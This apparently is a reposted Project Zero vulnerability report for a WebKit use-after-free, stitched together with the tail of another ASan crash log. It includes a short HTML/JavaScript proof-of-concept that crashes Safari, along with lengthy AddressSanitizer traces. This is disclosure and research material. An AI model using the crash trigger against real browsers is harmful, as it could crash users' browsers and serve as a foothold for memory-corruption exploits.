    #8 0x111f26e74 in JSC::MarkedAllocator::tryAllocateIn(JSC::MarkedBlock::Handle*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x12f0e74)
    #9 0x111f268e8 in JSC::MarkedAllocator::tryAllocateWithoutCollecting() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x12f08e8)
    #10 0x111f2775e in JSC::MarkedAllocator::allocateSlowCaseImpl(JSC::GCDeferralContext*, bool) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x12f175e)
    #11 0x115a154b9 in void* JSC::allocateCell<WebCore::JSHTMLDocument>(JSC::Heap&, unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x11b74b9)
    #12 0x115a15104 in WebCore::JSHTMLDocument::create(JSC::Structure*, WebCore::JSDOMGlobalObject*, WTF::Ref<WebCore::HTMLDocument>&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x11b7104)
    #13 0x115a1504b in std::__1::enable_if<std::is_same<WebCore::HTMLDocument, WebCore::HTMLDocument>::value, WebCore::JSDOMWrapperConverterTraits<WebCore::HTMLDocument>::WrapperClass*>::type WebCore::createWrapper<WebCore::HTMLDocument, WebCore::HTMLDocument>(WebCore::JSDOMGlobalObject*, WTF::Ref<WebCore::HTMLDocument>&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x11b704b)
    #14 0x115a14e17 in std::__1::enable_if<!(std::is_same<WebCore::HTMLDocument, WebCore::Document>::value), WebCore::JSDOMWrapperConverterTraits<WebCore::HTMLDocument>::WrapperClass*>::type WebCore::createWrapper<WebCore::HTMLDocument, WebCore::Document>(WebCore::JSDOMGlobalObject*, WTF::Ref<WebCore::Document>&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x11b6e17)
    #15 0x115a1457c in WebCore::createNewDocumentWrapper(JSC::ExecState&, WebCore::JSDOMGlobalObject&, WTF::Ref<WebCore::Document>&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x11b657c)
    #16 0x115a14746 in WebCore::toJS(JSC::ExecState*, WebCore::JSDOMGlobalObject*, WebCore::Document&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x11b6746)
    #17 0x115f0dc3a in WebCore::createWrapper(JSC::ExecState*, WebCore::JSDOMGlobalObject*, WTF::Ref<WebCore::Node>&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x16afc3a)
    #18 0x1154ddca8 in WebCore::toJS(JSC::ExecState*, WebCore::JSDOMGlobalObject*, WebCore::Node&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc7fca8)
    #19 0x115b8e39c in WebCore::JSDOMWindowBase::updateDocument() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x133039c)
    #20 0x116d5dfb1 in WebCore::ScriptController::initScript(WebCore::DOMWrapperWorld&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x24fffb1)
    #21 0x10d20ba77 in WebCore::ScriptController::windowShell(WebCore::DOMWrapperWorld&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x2eba77)
    #22 0x10d208c18 in WebCore::ScriptController::globalObject(WebCore::DOMWrapperWorld&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x2e8c18)
    #23 0x10d4d2fc4 in WebKit::WebFrame::jsContextForWorld(WebKit::InjectedBundleScriptWorld*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x5b2fc4)
    #24 0x1247b2b61 in -[OpenSearchURLFinderController _jsContext] (/System/Library/StagedFrameworks/Safari/Safari.framework/Safari+0x330b61)
    #25 0x1247b28b9 in -[OpenSearchURLFinderController initWithBundleFrame:] (/System/Library/StagedFrameworks/Safari/Safari.framework/Safari+0x3308b9)
    #26 0x124523a29 in Safari::BrowserBundlePageController::determineOpenSearchURL(Safari::WK::BundleFrame const&) (/System/Library/StagedFrameworks/Safari/Safari.framework/Safari+0xa1a29)
    #27 0x1245239a3 in invocation function for block in Safari::BrowserBundlePageController::determineOpenSearchURLSoon() (/System/Library/StagedFrameworks/Safari/Safari.framework/Safari+0xa19a3)
    #28 0x7fffa0df7deb in __NSFireTimer (/System/Library/Frameworks/Foundation.framework/Versions/C/Foundation+0xa9deb)
    #29 0x7fff9d2f6af3 in __CFRUNLOOP_IS_CALLING_OUT_TO_A_TIMER_CALLBACK_FUNCTION__ (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation+0x92af3)

previously allocated by thread T0 here:
    #0 0x10f50b790 in __sanitizer_mz_malloc (/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/clang/8.0.0/lib/darwin/libclang_rt.asan_osx_dynamic.dylib+0x4b790)
    #1 0x7fff948155a0 in malloc_zone_malloc (/usr/lib/system/libsystem_malloc.dylib+0x25a0)
    #2 0x11255b314 in bmalloc::DebugHeap::malloc(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x1925314)
    #3 0x1125505db in bmalloc::Allocator::allocateSlowCase(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x191a5db)
    #4 0x1124e8635 in bmalloc::Allocator::allocate(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x18b2635)
    #5 0x1124e7918 in WTF::fastMalloc(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x18b1918)
    #6 0x1175c6389 in WebCore::XMLHttpRequest::create(WebCore::ScriptExecutionContext&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x2d68389)
    #7 0x11644fc8c in WebCore::JSDOMConstructor<WebCore::JSXMLHttpRequest>::construct(JSC::ExecState*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x1bf1c8c)
    #8 0x111f0df2e in JSC::LLInt::handleHostCall(JSC::ExecState*, JSC::Instruction*, JSC::JSValue, JSC::CodeSpecializationKind) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x12d7f2e)
    #9 0x111f08149 in JSC::LLInt::setUpCall(JSC::ExecState*, JSC::Instruction*, JSC::CodeSpecializationKind, JSC::JSValue, JSC::LLIntCallLinkInfo*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x12d2149)
    #10 0x111f17827 in llint_entry (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x12e1827)
    #11 0x111f17502 in llint_entry (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x12e1502)
    #12 0x111f10aca in vmEntryToJavaScript (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x12daaca)
    #13 0x111bca172 in JSC::JITCode::execute(JSC::VM*, JSC::ProtoCallFrame*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0xf94172)
    #14 0x111b4fa33 in JSC::Interpreter::executeCall(JSC::ExecState*, JSC::JSObject*, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0xf19a33)
    #15 0x11123d5c1 in JSC::call(JSC::ExecState*, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x6075c1)
    #16 0x11123d6eb in JSC::call(JSC::ExecState*, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x6076eb)
    #17 0x11123da36 in JSC::profiledCall(JSC::ExecState*, JSC::ProfilingReason, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x607a36)
    #18 0x1158ea62e in WebCore::JSMainThreadExecState::profiledCall(JSC::ExecState*, JSC::ProfilingReason, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x108c62e)
    #19 0x115bde086 in WebCore::JSEventListener::handleEvent(WebCore::ScriptExecutionContext*, WebCore::Event*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x1380086)
    #20 0x115123415 in WebCore::EventTarget::fireEventListeners(WebCore::Event&, WTF::Vector<WTF::RefPtr<WebCore::RegisteredEventListener>, 1ul, WTF::CrashOnOverflow, 16ul>) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x8c5415)
    #21 0x115122f3f in WebCore::EventTarget::fireEventListeners(WebCore::Event&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x8c4f3f)
    #22 0x1150ebe35 in WebCore::EventContext::handleLocalEvents(WebCore::Event&) const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x88de35)
    #23 0x1150ecf83 in WebCore::dispatchEventInDOM(WebCore::Event&, WebCore::EventPath const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x88ef83)
    #24 0x1150ec9aa in WebCore::EventDispatcher::dispatchEvent(WebCore::Node&, WebCore::Event&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x88e9aa)
    #25 0x115020db5 in WebCore::DOMWindow::dispatchLoadEvent() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x7c2db5)
    #26 0x114f311df in WebCore::Document::dispatchWindowLoadEvent() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x6d31df)
    #27 0x114f2be4e in WebCore::Document::implicitClose() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x6cde4e)
    #28 0x11528c8e1 in WebCore::FrameLoader::checkCompleted() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa2e8e1)
    #29 0x115289dfa in WebCore::FrameLoader::finishedParsing() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa2bdfa)

SUMMARY: AddressSanitizer: heap-use-after-free (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x138c4df) in WebCore::toJS(JSC::ExecState*, WebCore::JSDOMGlobalObject*, WebCore::EventTarget&)
Shadow bytes around the buggy address:
  0x1c340000ed80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x1c340000ed90: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x1c340000eda0: 00 00 00 00 00 00 fc fc fc fc fc fc fc fc fc fc
  0x1c340000edb0: fc fc fc fc fc fc fc fc fc fc fc fa fa fa fa fa
  0x1c340000edc0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x1c340000edd0:[fd]fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x1c340000ede0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x1c340000edf0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x1c340000ee00: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x1c340000ee10: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x1c340000ee20: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Heap right redzone:      fb
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack partial redzone:   f4
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==25184==ABORTING
-->
HireHackking 
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1105

There is a use-after-free security vulnerability in WebKit. The vulnerability was confirmed on a nightly version of WebKit. The PoC has also been observed to crash Safari 10.0.3 on Mac.

PoC:

=================================================================
-->

<style>
* { -webkit-border-image: url(#foo) 1 5 1 63 repeat; -webkit-flow-into: foo }
</style>
<script>
function eventhandler() {
  var a;
  document.execCommand("selectAll", false);
  output.slot = "foo";
  table.deleteCaption();
  //trigger garbage collector
  for(var i=0;i<100;i++) {
    a = new Uint8Array(1024*1024);
  }
}
</script>
<table id="table">
<caption>
<summary>
<output id="output">
<table>
<th>foo</th>
</table>
</table>
<iframe onload="eventhandler()"></iframe>

<!--
=================================================================

ASan log:

=================================================================
==1460==ERROR: AddressSanitizer: heap-use-after-free on address 0x60c00009d4a0 at pc 0x0001136e25ab bp 0x7fff53da1c30 sp 0x7fff53da1c28
READ of size 8 at 0x60c00009d4a0 thread T0
    #0 0x1136e25aa in WebCore::Node::treeScope() const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x45aa)
    #1 0x1136e2568 in WebCore::Node::document() const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x4568)
    #2 0x1136e1b18 in WebCore::RenderObject::document() const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x3b18)
    #3 0x11372ca48 in WebCore::RenderObject::view() const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x4ea48)
    #4 0x115a56771 in WebCore::RenderTable::markForPaginationRelayoutIfNeeded() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x2378771)
    #5 0x11571a1e2 in WebCore::RenderBlockFlow::layoutBlockChild(WebCore::RenderBox&, WebCore::RenderBlockFlow::MarginInfo&, WebCore::LayoutUnit&, WebCore::LayoutUnit&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x203c1e2)
    #6 0x115716802 in WebCore::RenderBlockFlow::layoutBlockChildren(bool, WebCore::LayoutUnit&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x2038802)
    #7 0x115714b5a in WebCore::RenderBlockFlow::layoutBlock(bool, WebCore::LayoutUnit) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x2036b5a)
    #8 0x1156d3e24 in WebCore::RenderBlock::layout() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x1ff5e24)
    #9 0x1158165e1 in WebCore::RenderFlowThread::layout() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x21385e1)
    #10 0x11596beed in WebCore::RenderNamedFlowThread::layout() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x228deed)
    #11 0x1140766d7 in WebCore::FlowThreadController::layoutRenderNamedFlowThreads() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x9986d7)
    #12 0x115adaabb in WebCore::RenderView::layout() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x23fcabb)
    #13 0x11417e90f in WebCore::FrameView::layout(bool) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xaa090f)
    #14 0x113dd3a57 in WebCore::Document::updateLayout() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x6f5a57)
    #15 0x115ad9bd1 in WebCore::RenderView::hitTest(WebCore::HitTestRequest const&, WebCore::HitTestLocation const&, WebCore::HitTestResult&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x23fbbd1)
    #16 0x113de387e in WebCore::Document::prepareMouseEvent(WebCore::HitTestRequest const&, WebCore::LayoutPoint const&, WebCore::PlatformMouseEvent const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x70587e)
    #17 0x113fa8dca in WebCore::EventHandler::prepareMouseEvent(WebCore::HitTestRequest const&, WebCore::PlatformMouseEvent const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x8cadca)
    #18 0x113fa95ac in WebCore::EventHandler::handleMouseMoveEvent(WebCore::PlatformMouseEvent const&, WebCore::HitTestResult*, bool) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x8cb5ac)
    #19 0x113fa9052 in WebCore::EventHandler::mouseMoved(WebCore::PlatformMouseEvent const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x8cb052)
    #20 0x11620a7ef in WebCore::UserInputBridge::handleMouseMoveEvent(WebCore::PlatformMouseEvent const&, WebCore::InputSource) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x2b2c7ef)
    #21 0x10c5163b2 in WebKit::handleMouseEvent(WebKit::WebMouseEvent const&, WebKit::WebPage*, bool) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x6a73b2)
    #22 0x10c515e37 in WebKit::WebPage::mouseEvent(WebKit::WebMouseEvent const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x6a6e37)
    #23 0x10c57af17 in void IPC::handleMessage<Messages::WebPage::MouseEvent, WebKit::WebPage, void (WebKit::WebPage::*)(WebKit::WebMouseEvent const&)>(IPC::Decoder&, WebKit::WebPage*, void (WebKit::WebPage::*)(WebKit::WebMouseEvent const&)) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x70bf17)
    #24 0x10c56f4bc in WebKit::WebPage::didReceiveWebPageMessage(IPC::Connection&, IPC::Decoder&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x7004bc)
    #25 0x10c524ac1 in WebKit::WebPage::didReceiveMessage(IPC::Connection&, IPC::Decoder&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x6b5ac1)
    #26 0x10c031a3b in IPC::MessageReceiverMap::dispatchMessage(IPC::Connection&, IPC::Decoder&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x1c2a3b)
    #27 0x10c6aaff4 in WebKit::WebProcess::didReceiveMessage(IPC::Connection&, IPC::Decoder&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x83bff4)
    #28 0x10bf1e448 in IPC::Connection::dispatchMessage(std::__1::unique_ptr<IPC::Decoder, std::__1::default_delete<IPC::Decoder> >) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0xaf448)
    #29 0x10bf27614 in IPC::Connection::dispatchOneMessage() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0xb8614)
    #30 0x111406a04 in WTF::RunLoop::performWork() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x18b6a04)
    #31 0x111408f1e in WTF::RunLoop::performWork(void*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x18b8f1e)
    #32 0x7fff93c2b7e0 in __CFRUNLOOP_IS_CALLING_OUT_TO_A_SOURCE0_PERFORM_FUNCTION__ (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation+0xaa7e0)
    #33 0x7fff93c0af1b in __CFRunLoopDoSources0 (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation+0x89f1b)
    #34 0x7fff93c0a43e in __CFRunLoopRun (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation+0x8943e)
    #35 0x7fff93c09e37 in CFRunLoopRunSpecific (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation+0x88e37)
    #36 0x7fff91e23934 in RunCurrentEventLoopInMode (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox+0x30934)
    #37 0x7fff91e2376e in ReceiveNextEventCommon (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox+0x3076e)
    #38 0x7fff91e235ae in _BlockUntilNextEventMatchingListInModeWithFilter (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox+0x305ae)
    #39 0x7fff880b1df5 in _DPSNextEvent (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit+0x48df5)
    #40 0x7fff880b1225 in -[NSApplication _nextEventMatchingEventMask:untilDate:inMode:dequeue:] (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit+0x48225)
    #41 0x7fff880a5d7f in -[NSApplication run] (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit+0x3cd7f)
    #42 0x7fff8806f367 in NSApplicationMain (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit+0x6367)
    #43 0x7fff8d65e193 in _xpc_objc_main (/usr/lib/system/libxpc.dylib+0x11193)
    #44 0x7fff8d65cbbd in xpc_main (/usr/lib/system/libxpc.dylib+0xfbbd)
    #45 0x10be58b73 in main (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/XPCServices/com.apple.WebKit.WebContent.xpc/Contents/MacOS/com.apple.WebKit.WebContent.Development+0x100001b73)
    #46 0x7fff9716d5ac in start (/usr/lib/system/libdyld.dylib+0x35ac)

0x60c00009d4a0 is located 32 bytes inside of 120-byte region [0x60c00009d480,0x60c00009d4f8)
freed by thread T0 here:
    #0 0x10e428cf4 in __sanitizer_mz_free (/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/clang/8.0.0/lib/darwin/libclang_rt.asan_osx_dynamic.dylib+0x4bcf4)
    #1 0x11145136f in bmalloc::Deallocator::deallocateSlowCase(void*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x190136f)
    #2 0x113a86653 in WebCore::removeDetachedChildrenInContainer(WebCore::ContainerNode&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x3a8653)
    #3 0x113a73752 in WebCore::ContainerNode::~ContainerNode() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x395752)
    #4 0x1143df19d in WebCore::HTMLTableCaptionElement::~HTMLTableCaptionElement() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xd0119d)
    #5 0x110d42ee7 in JSC::JSCell::callDestructor(JSC::VM&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x11f2ee7)
    #6 0x110e4523a in JSC::FreeList JSC::MarkedBlock::Handle::specializedSweep<(JSC::MarkedBlock::Handle::EmptyMode)1, (JSC::MarkedBlock::Handle::SweepMode)1, (JSC::MarkedBlock::Handle::SweepDestructionMode)1, (JSC::MarkedBlock::Handle::ScribbleMode)0, (JSC::MarkedBlock::Handle::NewlyAllocatedMode)1, (JSC::MarkedBlock::Handle::MarksMode)1>()::'lambda'(unsigned long)::operator()(unsigned long) const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x12f523a)
    #7 0x110e44f1e in JSC::FreeList JSC::MarkedBlock::Handle::specializedSweep<(JSC::MarkedBlock::Handle::EmptyMode)1, (JSC::MarkedBlock::Handle::SweepMode)1, (JSC::MarkedBlock::Handle::SweepDestructionMode)1, (JSC::MarkedBlock::Handle::ScribbleMode)0, (JSC::MarkedBlock::Handle::NewlyAllocatedMode)1, (JSC::MarkedBlock::Handle::MarksMode)1>() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x12f4f1e)
    #8 0x110e44892 in JSC::FreeList JSC::MarkedBlock::Handle::sweepHelperSelectMarksMode<(JSC::MarkedBlock::Handle::EmptyMode)1, (JSC::MarkedBlock::Handle::SweepMode)1, (JSC::MarkedBlock::Handle::SweepDestructionMode)1, (JSC::MarkedBlock::Handle::ScribbleMode)0, (JSC::MarkedBlock::Handle::NewlyAllocatedMode)1>() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x12f4892)
    #9 0x110e43212 in JSC::FreeList JSC::MarkedBlock::Handle::sweepHelperSelectSweepMode<(JSC::MarkedBlock::Handle::EmptyMode)1, (JSC::MarkedBlock::Handle::SweepDestructionMode)1, (JSC::MarkedBlock::Handle::ScribbleMode)0, (JSC::MarkedBlock::Handle::NewlyAllocatedMode)1>(JSC::MarkedBlock::Handle::SweepMode) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x12f3212)
    #10 0x110e40823 in JSC::FreeList JSC::MarkedBlock::Handle::sweepHelperSelectHasNewlyAllocated<(JSC::MarkedBlock::Handle::EmptyMode)1, (JSC::MarkedBlock::Handle::SweepDestructionMode)1, (JSC::MarkedBlock::Handle::ScribbleMode)0>(JSC::MarkedBlock::Handle::SweepMode) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x12f0823)
    #11 0x110e3b130 in JSC::FreeList JSC::MarkedBlock::Handle::sweepHelperSelectEmptyMode<(JSC::MarkedBlock::Handle::SweepDestructionMode)1, (JSC::MarkedBlock::Handle::ScribbleMode)0>(JSC::MarkedBlock::Handle::SweepMode) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x12eb130)
    #12 0x110e28f80 in JSC::FreeList JSC::MarkedBlock::Handle::sweepHelperSelectScribbleMode<(JSC::MarkedBlock::Handle::SweepDestructionMode)1>(JSC::MarkedBlock::Handle::SweepMode) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x12d8f80)
    #13 0x110e28dfc in JSC::MarkedBlock::Handle::sweep(JSC::MarkedBlock::Handle::SweepMode) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x12d8dfc)
    #14 0x110e24c54 in JSC::MarkedAllocator::tryAllocateIn(JSC::MarkedBlock::Handle*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x12d4c54)
    #15 0x110e246a8 in JSC::MarkedAllocator::tryAllocateWithoutCollecting() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x12d46a8)
    #16 0x110e2550e in JSC::MarkedAllocator::allocateSlowCaseImpl(JSC::GCDeferralContext*, bool) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x12d550e)
    #17 0x11094538a in void* JSC::allocateCell<JSC::InferredValue>(JSC::Heap&, unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0xdf538a)
    #18 0x110944962 in JSC::InferredValue::create(JSC::VM&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0xdf4962)
